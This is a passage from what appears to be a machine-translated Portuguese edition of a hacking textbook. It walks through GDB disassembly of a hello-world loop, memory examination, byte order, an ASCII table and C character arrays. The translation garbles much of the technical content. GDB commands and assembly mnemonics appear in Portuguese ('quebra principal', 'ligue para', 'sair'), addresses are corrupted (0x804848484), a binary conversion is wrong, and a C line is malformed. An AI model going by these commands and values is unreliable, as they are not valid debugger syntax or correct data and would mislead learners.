eax,0x0</p><p>0x08048392 <main+14>: sub esp,eax</p><p>0x08048394 <main+16>: mov DWORD PTR [ebp-4],0x0</p><p>0x0804839b <main+23>: cmp DWORD PTR [ebp-4],0x9</p><p>0x0804839f <main+27>: jle 0x80483a3 <main+31></p><p>28 0 x 2</p><p>0 0</p><p>0x080483a1 <main+29>: jmp 0x80483b6 <main+50></p><p>0x080483a3 <main+31>: mov DWORD PTR [esp],0x80484d4</p><p>0x080483aa <main+38>: ligue</p><p>para</p><p>0x80482a8 <_init+56></p><p>0x080483af <main+43>: lea eax,[ebp-4]</p><p>0x080483b2 <main+46>: inc DWORD PTR [eax]</p><p>0x080483b4 <main+48>: jmp 0x804839b <main+23></p><p>0x080483b6 <main+50>: sair</p><p>0x080483b7 <main+51>: ret</p><p>Fim do despejo do</p><p>montador.</p><p>(gdb) quebra principal</p><p>Ponto de parada 1 em 0x8048394: arquivo</p><p>firstprog.c, linha 6. (gdb) rodar</p><p>Programa inicial: /hacking/a.out</p><p>Ponto de parada 1, principal() na firstprog.c:6</p><p>6 for(i=0; i < 10; i++)</p><p>(gdb) info register eip</p><p>eip 0x8048394 0x8048394</p><p>(gdb)</p><p>Primeiro, o código fonte é listado e a desmontagem da função principal()</p><p>é exibida. Em seguida, um ponto de parada é definido no início da função</p><p>main(), e o programa é executado. Este ponto de parada simplesmente diz ao</p><p>depurador para interromper a execução do programa quando chegar a esse</p><p>ponto. Como o ponto de parada foi definido no início da função main(), o</p><p>programa atinge o ponto de parada e pausa antes de realmente executar</p><p>qualquer instrução na função main(). Em seguida, é exibido o valor de EIP (o</p><p>Ponteiro de Instrução).</p><p>Observe que a EIP contém um endereço de memória que aponta para</p><p>uma instrução na desmontagem da função principal() (mostrada em negrito).</p><p>As instruções antes disto (mostradas em itálico) são conhecidas</p><p>coletivamente como o prólogo da função e são geradas pelo compilador para</p><p>configurar a memória para o resto das variáveis locais da função principal().</p><p>Parte da razão pela qual as variáveis precisam ser declaradas em C é para</p><p>ajudar na construção desta seção de código. O depurador sabe que esta parte</p><p>do código é gerada automaticamente e é suficientemente inteligente para</p><p>saltar sobre ela. Falaremos mais sobre o prólogo de funções mais tarde, mas</p><p>por enquanto podemos pegar uma deixa da GDB e ignorá-la.</p><p>O depurador GDB fornece um método direto para examinar a memória,</p>
<p>usando o comando x, que é a abreviação de examinar. O exame da memória</p><p>é uma habilidade crítica para qualquer hacker. A maioria das explorações</p><p>hacker são muito parecidas com truques de magia - parecem surpreendentes</p><p>e mágicas, a menos que você saiba sobre truques de mão e má direção. Tanto</p><p>na magia quanto no hacking, se você olhasse exatamente no lugar certo, o</p><p>truque seria óbvio. Essa é uma das razões pelas quais um bom mágico nunca</p><p>faz o mesmo truque duas vezes. Mas com um depurador como o GDB, cada</p><p>aspecto da execução de um programa pode ser examinado</p><p>Programação 29</p><p>deterministicamente, pausado, pisado e repetido tantas vezes quantas forem</p><p>necessárias. Uma vez que um programa em execução é em sua maioria</p><p>apenas um processador e segmentos de memória, examinar a memória é a</p><p>primeira maneira de ver o que realmente está acontecendo.</p><p>O comando examinar no GDB pode ser usado para olhar um determinado</p><p>endereço de memória de várias maneiras. Este comando espera dois</p><p>argumentos quando é usado: a localização na memória para examinar e</p><p>como exibir essa memória.</p><p>30 0 x 2</p><p>0 0</p><p>O formato de exibição também usa uma abreviatura de uma única letra, que</p><p>opcionalmente é precedida por uma contagem de quantos itens a serem</p><p>examinados. Algumas letras de formato comum são as seguintes:</p><p>o Exibição em octal.</p><p>x Exibição em hexadecimal.</p><p>u Exibição em base padrão, não assinada - 10 decimais.</p><p>t Mostrar em binário.</p><p>Estes podem ser usados com o comando examinar para examinar</p><p>um determinado endereço de memória. No exemplo a seguir, é utilizado o</p><p>endereço atual do registro EIP. Comandos abreviados são freqüentemente</p><p>usados com o GDB, e até mesmo o registro de informações eip pode ser</p><p>abreviado para apenas i r eip.</p><p>(gdb) i r eip</p><p>eip 0x80483840x8048384</p><p><main+16> (gdb) x/o 0x8048384</p><p>0x8048384 <main+16>: 077042707</p><p>(gdb) x/x $eip</p><p>0x8048384 <main+16>: 0x00fc45c7</p><p>(gdb) x/u $eip</p><p>0x8048384 <main+16>: 16532935</p><p>(gdb) x/t $eip</p><p>0x8048384 <main+16>: 00000000111111000100010111000111</p><p>(gdb)</p><p>A memória que o registro EIP está apontando pode ser examinada usando</p><p>o endereço armazenado no EIP. O depurador permite referenciar os registros</p><p>diretamente, portanto $eip é equivalente ao valor que a EIP contém naquele</p><p>momento. O valor 077042707 em octal é o mesmo que 0x00fc45c7 em</p><p>hexadecimal, que é o mesmo que 16532935 em decimal base-10, que por sua vez</p><p>é o mesmo que 00000000111111110001000111000111000111 em binário. Um número</p><p>também pode ser preparado para o formato do com- mand de exame para</p><p>examinar múltiplas unidades no endereço de destino.</p><p>(gdb) x/2x $eip</p><p>0x8048384 <main+16>: 0x00fc45c7 0x83000000</p><p>(gdb) x/12x $eip</p><p>0x8048384 <main+16>: 0x00fc45c7 0x83000000 0x7e09fc7d 0xc713eb02</p><p>0x8048394 <main+32>: 0x84842404 0x01e80804 0x8dffff 0x00fffc45</p><p>0x80483a4 <main+48>: 0xc3c9e5eb 0x90909090 0x90909090 0x5de58955</p><p>(gdb)</p><p>O tamanho padrão de uma única unidade é uma unidade de quatro bytes</p><p>chamada palavra. O tamanho das unidades de exibição para o comando</p><p>examinar pode ser alterado adicionando uma letra de tamanho ao final da</p><p>letra de formato. O tamanho válido das letras de tamanho é o seguinte:</p><p>b Um único byte</p><p>h Uma meia palavra, que é dois bytes em tamanho</p><p>Programação 31</p><p>w Uma palavra, que é quatro bytes em tamanho</p><p>g Um gigante, que é de oito bytes em tamanho</p><p>32 0 x 2</p><p>0 0</p><p>Isto é um pouco confuso, porque às vezes o termo palavra também se</p><p>refere a valores de 2 bytes. Neste caso, uma palavra dupla ou DWORD se refere a</p><p>um valor de 4 bytes. Neste livro, palavras e DWORDs se referem ambas a</p><p>valores de 4 bytes. Se eu estou falando de um valor de 2 bytes, eu o chamarei</p><p>de uma palavra curta ou meia palavra. A seguinte saída de GDB mostra a</p><p>memória exibida em vários tamanhos.</p><p>(gdb) x/8xb $eip</p><p>0x8048384 <main+16>: 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00 0x83</p><p>(gdb) x/8xh $eip</p><p>0x8048384 <main+16>: 0x45c7 0x00fc 0x0000 0x8300 0xfc7d 0x7e09 0xeb02 0xc713</p><p>(gdb) x/8xw $eip</p><p>0x8048384 <main+16>: 0x00fc45c7 0x83000000 0x7e09fc7d 0xc713eb02</p><p>0x8048394 <main+32>: 0x84842404 0x01e80804 0x8dffff 0x00fffc45</p><p>(gdb)</p><p>Se você olhar com atenção, você pode notar algo estranho nos dados</p><p>acima. O primeiro comando examinar mostra os primeiros oito bytes, e</p><p>naturalmente, os comandos examinar que usam unidades maiores exibem mais</p><p>dados no total. Entretanto, o primeiro exame mostra os dois primeiros bytes a</p><p>serem 0xc7 e 0x45, mas quando uma meia palavra é examinada exatamente no</p><p>mesmo endereço de memória, o valor 0x45c7 é mostrado, com os bytes</p><p>invertidos. Este mesmo efeito de byte reverso pode ser visto quando uma</p><p>palavra completa de quatro bytes é mostrada como 0x00fc45c7, mas quando os</p><p>primeiros quatro bytes são mostrados byte por byte, eles estão na ordem de</p><p>0xc7, 0x45, 0xfc, e 0x00.</p><p>Isto porque no processador x86 os valores são armazenados em ordem de</p><p>bytes pequenos, o que significa que o byte menos significativo é armazenado</p><p>primeiro. Por exemplo, se quatro bytes devem ser interpretados como um único</p><p>valor, os bytes devem ser usados em ordem inversa. O depurador GDB é</p><p>suficientemente inteligente para saber como os valores são armazenados,</p><p>portanto, quando uma palavra ou meia palavra é examinada, os bytes devem</p><p>ser invertidos para exibir os valores corretos em hexadecimal. Revisando estes</p><p>valores exibidos como casas decimais hexadecimais e não assinadas, pode</p><p>ajudar a esclarecer qualquer confusão.</p><p>(gdb) x/4xb $eip</p><p>0x8048384 <main+16>: 0xc7 0x45 0xfc 0x00</p><p>(gdb) x/4ub $eip</p><p>0x8048384 <main+16>: 199 69 252 0</p><p>(gdb) x/1xw $eip</p><p>0x8048384 <main+16>: 0x00fc45c7</p><p>(gdb) x/1uw $eip</p><p>0x8048384 <main+16>: 16532935</p><p>(gdb) desistir</p><p>O programa está em execução. Sair mesmo assim? (y</p><p>ou n) y reader@hacking:~/booksrc $ bc -ql</p><p>199*(256^3) + 69*(256^2) + 252*(256^1) + 0*(256^0)</p><p>3343252480</p><p>0*(256^3) + 252*(256^2) + 69*(256^1) + 199*(256^0)</p><p>16532935</p><p>Programação 33</p><p>quit</p><p>reader@hacking:~/booksrc $</p><p>34 0 x 2</p><p>0 0</p><p>Os primeiros quatro bytes são mostrados tanto em notação decimal</p><p>hexadecimal como em notação decimal padrão sem assinatura. Um programa</p><p>de calculadora de linha de comando chamado bc é usado para mostrar que se</p><p>os bytes são interpretados na ordem incorreta, o resultado é um valor</p><p>horrivelmente incorreto de 3343252480. A ordem de bytes de uma</p><p>determinada arquitetura é um detalhe importante a ser conhecido. Enquanto</p><p>a maioria das ferramentas de depuração e compiladores cuidarão dos</p><p>detalhes da ordem de bytes automaticamente, eventualmente você</p><p>manipulará a memória diretamente por si mesmo.</p><p>Além de converter a ordem de byte, a GDB pode fazer outras conversões</p><p>com o comando examinar. Já vimos que a GDB pode desmontar as instruções</p><p>de linguagem da máquina em instruções de montagem legíveis para humanos.</p><p>O comando examinar também aceita a letra de formato i, abreviatura para</p><p>instrução, para exibir a memória como instruções de linguagem de</p><p>montagem desmontada.</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>quebra principal</p><p>Ponto de parada 1 em 0x8048384: arquivo</p><p>firstprog.c, linha 6. (gdb) rodar</p><p>Programa inicial: /home/leitor/ livrorc/a.out</p><p>Ponto de parada 1, principal () na firstprog.c:6</p><p>6 for(i=0; i < 10; i++)</p><p>(gdb) i r $eip</p><p>eip 0x80483840x8048384</p><p><main+16> (gdb) x/i $eip</p><p>0x8048384 <main+16>: mov DWORD PTR [ebp-4],0x0</p><p>(gdb) x/3i $eip</p><p>0x8048384 <main+16>: mov DWORD PTR [ebp-4],0x0</p><p>0x804838b <main+23>: cmpDWORD PTR [ebp-</p><p>4],0x9 0x804838f <main+27>>: jle 0x8048393</p><p><main+31> (gdb) x/7xb $eip</p><p>0x8048384 <main+16>: 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00</p><p>(gdb) x/i $eip</p><p>0x8048384 <main+16>: mov DWORD PTR [ebp-4],0x0</p><p>(gdb)</p><p>Na saída acima, o programa a.out é executado em GDB, com um ponto de</p><p>parada definido em main(). Uma vez que o registro EIP está apontando para a</p><p>memória que realmente contém instruções de linguagem da máquina, eles</p><p>desmontam muito bem.</p><p>A desmontagem anterior da objdump confirma que os sete bytes EIP estão</p><p>apontando para a linguagem da máquina para a instrução de montagem</p><p>correspondente.</p><p>8048384: c7 45 fc 00 00</p>
<p>00 00 00 mov DWORD PTR [ebp-4],0x0</p><p>Esta instrução de montagem irá mover o valor 0 para a memória</p><p>localizada no endereço armazenado no registro EBP, menos 4. Aqui é</p><p>Programação 35</p><p>onde o C vari- capaz i é armazenado na memória; eu fui declarado como</p><p>um inteiro que usa 4 bytes de memória no processador x86.</p><p>Basicamente, este comando irá zerar a</p><p>36 0 x 2</p><p>0 0</p><p>variável i para o loop. Se essa memória for examinada agora mesmo,</p><p>ela não conterá nada além de lixo aleatório. A memória neste local pode</p><p>ser examinada de várias maneiras diferentes.</p><p>(gdb) i r ebp</p><p>ebp 0xbffff808 0xbffff808</p><p>(gdb) x/4xb $ebp - 4</p><p>0xbffff804: 0xc0 0x83 0x04 0x08</p><p>(gdb) x/4xb 0xbff804</p><p>0xbffff804: 0xc0 0x83 0x04 0x08</p><p>(gdb) imprimir $ebp - 4</p><p>$1 = (vazio *) 0xbffff804</p><p>(gdb) x/4xb $1</p><p>0xbffff804: 0xc0 0x83 0x04 0x08</p><p>(gdb) x/xw $1</p><p>0xbffff804: 0x080483c0</p><p>(gdb)</p><p>O registro EBP é mostrado para conter o endereço 0xbffff808, e a</p><p>instrução de montagem será escrita com um valor compensado por 4 vezes</p><p>menos do que isso, 0xbffff804. O comando examinar pode examinar este</p><p>endereço de memória diretamente ou fazendo as contas em tempo real. O</p><p>comando de impressão também pode ser usado para fazer contas simples,</p><p>mas o resultado é armazenado em uma variável temporária no depurador.</p><p>Esta variável chamada $1 pode ser usada mais tarde para acessar novamente</p><p>rapidamente um determinado local na memória. Qualquer um dos métodos</p><p>mostrados acima acomodará a mesma tarefa: exibir os 4 bytes de lixo</p><p>encontrados na memória que serão zerados quando a instrução atual for</p><p>executada.</p><p>Vamos executar a instrução atual usando o comando nexti, que é a</p><p>abreviação para a próxima instrução. O processador vai ler a instrução na EIP,</p><p>executá-la e avançar a EIP para a próxima instrução.</p><p>(gdb) nexti</p><p>0x0804838b 6 for(i=0; i < 10; i++)</p><p>(gdb) x/4xb $1</p><p>0xbffff804: 0x00 0x00 0x00 0x00</p><p>(gdb) x/dw $1</p><p>0xbffff804: 0</p><p>(gdb) i r eip</p><p>eip 0x804838b0x804838b</p><p><main+23> (gdb) x/i $eip</p><p>0x804838b <main+23>: cmpDWORD PTR [ebp-</p><p>4],0x9 (gdb)</p><p>Como previsto, o comando anterior zera os 4 bytes encontrados no EBP</p><p>menos 4, que é a memória reservada para a variável C i. Depois, o EIP avança</p><p>para a próxima instrução. As próximas instruções realmente fazem mais</p><p>sentido falar em grupo.</p><p>Programação 37</p><p>(gdb) x/10i $eip</p><p>0x804838b</p><p>0x804838f</p><p>0x8048391</p><p><main+23>:</p><p><main+27>:</p><p><main+29>:</p><p>cmp</p><p>jle</p><p>jmp</p><p>DWORD PTR [ebp-4],0x9</p><p>0x8048393 <main+31></p><p>0x80483a6 <main+50></p><p>0x8048393 <main+31>: mov DWORD PTR [esp],0x804848484</p><p>0x804839a <main+38>: ligu</p><p>e</p><p>par</p><p>a</p><p>0x80482a0 <printf@plt></p><p>0x804839f <main+43>: lea eax,[ebp-4]</p><p>0x80483a2 <main+46>: inc DWORD PTR [eax]</p><p>0x80483a4</p><p>0x80483a6</p><p>0x80483a7</p><p>(gdb)</p><p><main+48>:</p><p><main+50>:</p><p><main+51>:</p><p>jmp</p><p>leave</p><p>ret</p><p>0x804838b <main+23></p><p>A primeira instrução, cmp, é uma instrução de comparação, que irá</p><p>comparar a memória utilizada pela variável C i com o valor 9. A próxima</p><p>instrução, jle, significa salto se menor ou igual a. Ela usa os resultados da</p><p>comparação anterior (que são realmente armazenados no registro EFLAGS)</p><p>para saltar EIP para apontar para uma parte diferente do código se o destino</p><p>da operação de comparação anterior for menor ou igual à fonte. Neste caso a</p><p>instrução diz para saltar para o endereço 0x8048393 se o valor armazenado na</p><p>memória para a variável C i for menor ou igual ao valor 9. Se este não for o</p><p>caso, a EIP continuará para a próxima instrução, que é uma instrução de salto</p><p>incondicional. Isto fará com que a EIP salte para o endereço 0x80483a6. Estas</p><p>três instruções se combinam para criar uma estrutura de controle if-then-</p><p>else: Se o i for menor ou igual a 9, então vá para a instrução no endereço 0x8048393;</p><p>caso contrário, vá para a instrução no endereço 0x80483a6. O primeiro endereço de</p><p>0x8048393 (mostrado em negrito) é simplesmente a instrução encontrada após a</p><p>instrução de salto fixo, e o segundo endereço de 0x80483a6 (mostrado em</p><p>itálico) está localizado no final da função.</p><p>Como sabemos que o valor 0 está armazenado no local da memória que</p><p>está sendo com- pared com o valor 9, e sabemos que 0 é menor ou igual a 9,</p><p>EIP deve estar em 0x8048393 após executar as duas próximas instruções.</p><p>(gdb) nexti</p><p>0x0804838f 6 for(i=0; i < 10; i++)</p><p>(gdb) x/i $eip</p><p>0x804838f <main+27>: jle0x8048393</p><p><main+31> (gdb) nexti</p><p>8 printf("Olá, mundo!\n");</p><p>(gdb) i r eip</p><p>eip 0x80483930x8048393</p><p><main+31> (gdb) x/2i $eip</p><p>0x8048393 <main+31>: mov DWORD PTR [esp],0x804848484</p><p>0x804839a <main+38>: chamada 0x80482a0</p><p><printf@plt> (gdb)</p><p>Como esperado, as duas instruções anteriores deixaram o fluxo de</p><p>execução do programa baixar para 0x8048393, o que nos leva às duas</p><p>38 0 x 2</p><p>0 0</p><p>instruções seguintes. O</p><p>Programação 39</p><p>A primeira instrução é outra instrução de movimento que escreverá o endereço</p><p>0x8048484 no endereço de memória contido no registro ESP. Mas o que o ESP</p><p>está apontando para?</p><p>(gdb) i r esp</p><p>esp 0xbffff800 0xbffff800</p><p>(gdb)</p><p>Atualmente, o ESP aponta para o endereço de memória 0xbffff800,</p><p>portanto, quando a instrução de movimentação é executada, o endereço 0x8048484</p><p>é escrito lá. Mas por quê? O que há de tão especial no endereço de memória</p><p>0x804848484? Há uma maneira de descobrir.</p><p>(gdb) x/2xw 0x8048484</p><p>0x8048484: 0x6c6c6548 0x6f57206f</p><p>(gdb) x/6xb 0x8048484</p><p>0x8048484: 0x48 0x65 0x6c 0x6c 0x6f 0x20</p><p>(gdb) x/6ub 0x8048484</p><p>0x8048484: 72 101 108 108 111 32</p><p>(gdb)</p><p>Um olho treinado pode notar algo sobre a memória aqui, em par ticular o</p><p>alcance dos bytes. Depois de examinar a memória por tempo suficiente, estes</p><p>tipos de padrões visuais se tornam mais aparentes. Estes bytes se enquadram</p><p>na faixa ASCII imprimível. O ASCII é um padrão acordado que mapeia todos os</p><p>caracteres de seu teclado (e alguns que não o são) para números fixos. Os</p><p>bytes 0x48, 0x65, 0x6c e 0x6f correspondem todos às letras do alfabeto na</p><p>tabela ASCII mostrada abaixo. Esta tabela é encontrada na página de homem</p><p>para ASCII, disponível na maioria dos sistemas Unix, digitando homem ascii.</p><p>Tabela ASCII</p><p>Out Dez Hex Char Out Dez Hex Char</p><p>000 0 00 NUL '\0 100 64 40 @</p><p>001 1 01 SOH 101 65 41 A</p><p>002 2 02 STX 102 66 42 B</p><p>003 3 03 ETX 103 67 43 C</p><p>004 4 04 EOT 104 68 44 D</p><p>005 5 05 ENQ 105 69 45 E</p><p>006 6 06 ACK 106 70 46 F</p><p>007 7 07 BEL '\a 107 71 47 G</p><p>010 8 08 BS '\b 110 72 48 H</p><p>011 9 09 HT '\t 111 73 49 I</p><p>012 10 0A LF '\n 112 74 4A J</p><p>013 11 0B VT '\v 113 75 4B K</p><p>014 12 0C FF '\f 114 76 4C L</p><p>015 13 0D CR '\r 115 77 4D M</p><p>016 14 0E SO 116 78 4E N</p><p>017 15 0F SI 117 79 4F O</p><p>020 16 10 DLE 120 80 50 P</p><p>40 0 x 2</p><p>0 0</p><p>021 17 11 DC1 121 81 51 Q</p><p>022 18 12 DC2 122 82 52 R</p><p>023 19 13 DC3 123 83 53 S</p><p>024 20 14 DC4 124 84 54 T</p><p>025 21 15 NAK 125 85 55 U</p><p>026 22 16 SYN 126 86 56 V</p><p>027 23 17 ETB 127 87 57 W</p><p>030 24 18 CAN 130 88 58 X</p><p>031 25 19 EM 131 89 59 Y</p><p>032 26 1A SUB 132 90 5A Z</p><p>033 27 1B ESC 133 91 5B [</p><p>034 28 1C FS 134 92 5C \ '\\'</p><p>035 29 1D GS 135 93 5D ]</p><p>036 30 1E RS 136 94 5E ^</p><p>037 31 1F US 137 95 5F _</p><p>040 32 20 ESPAÇO 140 96 60 `</p><p>041 33 21 ! 141 97 61 a</p><p>042 34 22 " 142 98 62 b</p><p>043 35 23 # 143 99 63 c</p><p>044 36 24 $ 144 100 64 d</p><p>045 37 25 % 145 101 65 e</p><p>046 38 26 & 146 102 66 f</p><p>047 39 27 ' 147 103 67 g</p><p>050 40 28 ( 150 104 68 h</p><p>051 41 29 ) 151 105 69 i</p><p>052 42 2A * 152 106 6A j</p><p>053 43 2B + 153 107 6B k</p><p>054 44 2C , 154 108 6C l</p><p>055 45 2D - 155 109 6D m</p><p>056 46 2E . 156 110 6E n</p><p>057 47 2F / 157 111 6F o</p><p>060 48 30 0 160 112 70 p</p><p>061 49 31 1 161 113 71 q</p><p>062 50 32 2 162 114 72 r</p><p>063 51 33 3 163 115 73 s</p><p>064 52 34 4 164 116 74 t</p><p>065 53 35 5 165 117 75 u</p><p>066 54 36 6 166 118 76 v</p><p>067 55 37 7 167 119 77 w</p><p>070 56 38 8 170 120 78 x</p><p>071 57 39 9 171 121 79 y</p><p>072 58 3A : 172 122 7A z</p><p>073 59 3B ; 173 123 7B {</p><p>074 60 3C < 174 124 7C |</p><p>075 61 3D = 175 125 7D }</p><p>076 62 3E > 176 126 7E ~</p><p>077 63 3F ? 177 127 7F DEL</p><p>Felizmente, o comando de exame da GDB também contém provisões</p><p>para olhar para este tipo de memória. A letra de formato c pode ser usada</p><p>para procurar automaticamente um byte na tabela ASCII, e a letra de</p><p>formato s exibirá uma seqüência inteira de dados de caracteres.</p><p>Programação 41</p><p>(gdb) x/6cb 0x8048484</p><p>0x8048484: 72 'H' 101 'e' 108 'l' 108 'l' 111 'o' 32 ' '</p><p>(gdb) x/s 0x804848484</p>
<p>0x8048484: "Olá, mundo!\n"</p><p>(gdb)</p><p>Estes comandos revelam que a cadeia de dados "Olá, mundo!\n" é</p><p>armazenada no endereço de memória 0x8048484. Esta string é o argumento</p><p>para o func- tion printf(), que indica que mover o endereço desta string para o</p><p>endereço armazenado no ESP (0x804848484) tem algo a ver com esta função.</p><p>A saída seguinte mostra o endereço da cadeia de dados sendo movido para o</p><p>endereço para o qual o ESP está apontando.</p><p>(gdb) x/2i $eip</p><p>0x8048393 <main+31>: mov DWORD PTR [esp],0x804848484</p><p>0x804839a <main+38>: chamada 0x80482a0</p><p><printf@plt> (gdb) x/xw $esp</p><p>0xbffff800: 0xb8000ce0</p><p>(gdb) nexti</p><p>0x0804839a 8 printf("Olá, mundo!\n");</p><p>(gdb) x/xw $esp</p><p>0xbffff800:</p><p>0x08048484</p><p>84 (gdb)</p><p>A próxima instrução é na verdade chamada de função printf(); ela</p><p>imprime a cadeia de dados. A instrução anterior foi configurada para a</p><p>chamada de função, e os resultados da chamada de função podem ser</p><p>vistos na saída abaixo, em negrito.</p><p>(gdb) x/i $eip</p><p>0x804839a <main+38>: chamada 0x80482a0</p><p><printf@plt> (gdb) nexti</p><p>Olá, mundo!</p><p>6 for(i=0; i < 10; i++)</p><p>(gdb)</p><p>Continuando a usar a GDB para depurar, vamos examinar as duas próximas</p><p>instruções.</p><p>Mais uma vez, eles fazem mais sentido olhar em grupo.</p><p>(gdb) x/2i $eip</p><p>0x804839f <main+43>: lea eax,[ebp-4]</p><p>0x80483a2 <main+46>: inc DWORD PTR [eax]</p><p>(gdb)</p><p>Estas duas instruções basicamente apenas incrementam a variável i por 1.</p><p>lea instrução é um acrônimo para Load Effective Address, que irá carregar o</p><p>42 0 x 2</p><p>0 0</p><p>endereço familiar do EBP menos 4 no registro EAX. A execução desta instrução</p><p>é mostrada abaixo.</p><p>(gdb) x/i $eip</p><p>0x804839f <main+43>: lea eax,[ebp-4]</p><p>(gdb) imprimir $ebp - 4</p><p>$2 = (vazio *) 0xbffff804</p><p>(gdb) x/x $2</p><p>0xbffff804: 0x00000000</p><p>(gdb) i r eax</p><p>eax 0xd 13</p><p>(gdb) nexti</p><p>0x080483a2 6 for(i=0; i < 10; i++)</p><p>(gdb) i r eax</p><p>eax 0xbffff804 -1073743868</p><p>(gdb) x/xw $eax</p><p>0xbffff804: 0x00000000</p><p>(gdb) x/dw $eax 0xbffff804:</p><p>0</p><p>(gdb)</p><p>A instrução inc seguinte aumentará o valor encontrado neste endereço</p><p>(agora armazenado no registro EAX) em 1. A execução desta instrução</p><p>também é mostrada abaixo.</p><p>(gdb) x/i $eip</p><p>0x80483a2 <main+46>: inc DWORD PTR [eax]</p><p>(gdb) x/dw $eax</p><p>0xbffff804: 0</p><p>(gdb) nexti</p><p>0x080483a4 6 for(i=0; i < 10; i++)</p><p>(gdb) x/dw $eax</p><p>0xbffff804: 1</p><p>(gdb)</p><p>O resultado final é o valor armazenado no endereço de memória EBP</p><p>menos 4 (0xbffff804), incrementado em 1. Este comportamento corresponde</p><p>a uma parte do código C na qual a variável i é incrementada no loop for.</p><p>A próxima instrução é uma instrução de salto incondicional.</p><p>(gdb) x/i $eip</p><p>0x80483a4 <main+48>: jmp0x804838b</p><p><main+23> (gdb)</p><p>Quando esta instrução for executada, enviará o programa de volta para a</p><p>instrução no endereço 0x804838b. Ele faz isso simplesmente ajustando a EIP para</p><p>esse valor.</p><p>Olhando novamente para a desmontagem completa, você deve ser capaz</p><p>de dizer quais partes do código C foram compiladas em quais instruções de</p><p>máquina.</p><p>Programação 43</p><p>(gdb) desassoreio principal</p><p>Lixeira de código de montador para função principal:</p><p>0x08048374 <main+0>: empurrar ebp</p><p>0x08048375 <main+1>: mov ebp,esp</p><p>0x08048377 <main+3>: sub esp,0x8</p><p>0x0804837a <main+6>: e esp,0xfffffff0</p><p>0x0804837d <main+9>: mov eax,0x0</p><p>0x08048382 <main+14>: sub esp,eax</p><p>0x08048384 <main+16>: mov DWORD PTR [ebp-4],0x0</p><p>0x0804838b <main+23>: cmpDWORD PTR [ebp-4],0x9</p><p>0x0804838f <main+27>: jle0x8048393 <main+31></p><p>0x08048391 <main+29>: jmp0x80483a6 <main+50></p><p>0x08048393 <main+31>: movDWORD PTR</p><p>[esp],0x804848484</p><p>0x0804839a <main+38>: call0x80482a0 <printf@plt>: 0x0804839a <main+38>:</p><p>0x0804839a</p><p>0x0804839f <main+43>: lea eax,[ebp-4]</p><p>0x080483a2 <main+46>: incDWORD PTR [eax]</p><p>0x080483a4 <main+48>: jmp0x804838b</p><p><main+23> 0x080483a6 <main+50>: sair</p><p>0x080483a7 <main+51>: ret</p><p>Fim do despejo do montador.</p><p>(gdb) lista</p><p>1 #include <stdio.h></p><p>2</p><p>3 int main()</p><p>4 {</p><p>5 int i;</p><p>6 for(i=0; i < 10; i++)</p><p>7 {</p><p>8 printf("Olá, mundo!\n");</p><p>9 }</p><p>10 }</p><p>(gdb)</p><p>As instruções mostradas em negrito compõem o loop, e as instruções</p><p>em itálico são a chamada printf() encontrada dentro do loop. O programa</p><p>exe- cution voltará para a instrução de comparação, continuará a executar</p><p>a chamada printf(), e incrementará a variável contador até que finalmente</p><p>seja igual a 10. Neste ponto, a instrução jle condicional não executará; em</p><p>vez disso, o ponteiro de instrução continuará para a instrução de salto</p><p>incondicional, que sai do laço e termina o programa.</p><p>0x260 Voltar ao Básico</p><p>Agora que a idéia de programação é menos abstrata, existem alguns outros</p><p>conceitos importantes a conhecer sobre a linguagem C. Assembly e os</p><p>processadores de computador antes de existirem linguagens de programação</p><p>de nível superior, e muitos conceitos modernos de programação evoluíram ao</p><p>longo do tempo. Da mesma forma que saber um pouco sobre o latim pode</p><p>melhorar muito a compreensão de</p><p>44 0 x 2</p><p>0 0</p><p>a língua inglesa, o conhecimento de conceitos de programação de baixo nível</p><p>pode ajudar na compreensão de conceitos de nível superior. Ao continuar</p><p>para a próxima seção, lembre-se de que o código C deve ser compilado em</p><p>instruções de máquina antes de poder fazer qualquer coisa.</p><p>0x261 Cordas</p><p>O valor "Olá, mundo!\n" passado para a função printf() no programa</p><p>anterior é um string-technically, uma matriz de caracteres. Em C, um array</p><p>é simplesmente uma lista de n elementos de um tipo de dado específico.</p><p>Uma matriz de 20 caracteres é simplesmente 20 caracteres adjacentes</p><p>localizados na memória. As matrizes também são chamadas de buffers. O</p><p>programa char_array.c é um exemplo de uma matriz de caracteres.</p><p>char_array.c</p><p>#include <stdio.h></p><p>int main()</p><p>{</p><p>char str_a[20];</p><p>str_a[0] = 'H';</p><p>str_a[1] = 'e';</p><p>str_a[2] = 'l';</p><p>str_a[3] = 'l';</p><p>str_a[4] = 'o';</p><p>str_a[5] = ',';</p><p>str_a[6] = ' ';</p><p>str_a[7] = 'w';</p><p>str_a[8] = 'o';</p><p>str_a[9] = 'r';</p><p>str_a[10] = 'l';</p><p>str_a[11] = 'd';</p><p>str_a[12] = '!'';</p><p>str_a[13] = '\n';</p><p>str_a[14] = 0;</p><p>printf(str_a);</p><p>}</p><p>O compilador GCC também pode receber a chave -o para definir o</p><p>arquivo de saída a ser compilado. Esta chave é usada abaixo para</p><p>compilar o programa em um binário executável chamado char_array.</p><p>reader@hacking:~/booksrc $ gcc -o char_array char_array.c reader@hacking:~/booksrc</p><p>$ ./char_array</p><p>Olá, mundo!</p><p>reader@hacking:~/booksrc $</p><p>No programa anterior, uma matriz de 20 elementos é definida como</p><p>str_a, e cada elemento da matriz é escrito, um a um. Observe que o número</p><p>começa em 0, em oposição a 1. Observe também que o último caractere é</p><p>um 0 (também chamado de byte nulo). A matriz de caracteres foi definida,</p><p>portanto 20 bytes são alocados para ela, mas apenas 12 destes bytes são</p><p>Programação 45</p><p>realmente utilizados. O byte nulo</p><p>46 0 x 2</p><p>0 0</p><p>no final é usado como um caractere delimitador para dizer qualquer</p><p>função que esteja lidando com o fio para parar as operações ali mesmo. Os</p><p>bytes extras restantes são apenas lixo e serão ignorados. Se um byte nulo for</p><p>inserido no quinto elemento da matriz de caracteres, somente os</p><p>caracteres Olá seriam impressos pela função printf().</p><p>Uma vez que a definição de cada caractere em uma matriz de</p><p>caracteres é cuidadosa e as cordas são usadas com bastante freqüência, foi</p><p>criado um conjunto de funções padrão para manipulação de cordas. Por</p><p>exemplo, a função strcpy() irá copiar uma string de uma fonte para um</p><p>destino, iterando através da string de origem e copiando cada byte para o</p><p>destino (e parando após copiar o byte de terminação nulo). A ordem dos</p><p>argumentos da função é semelhante à sintaxe de montagem da Intel:</p><p>primeiro o destino e depois a fonte. O programa char_array.c pode ser</p><p>reescrito 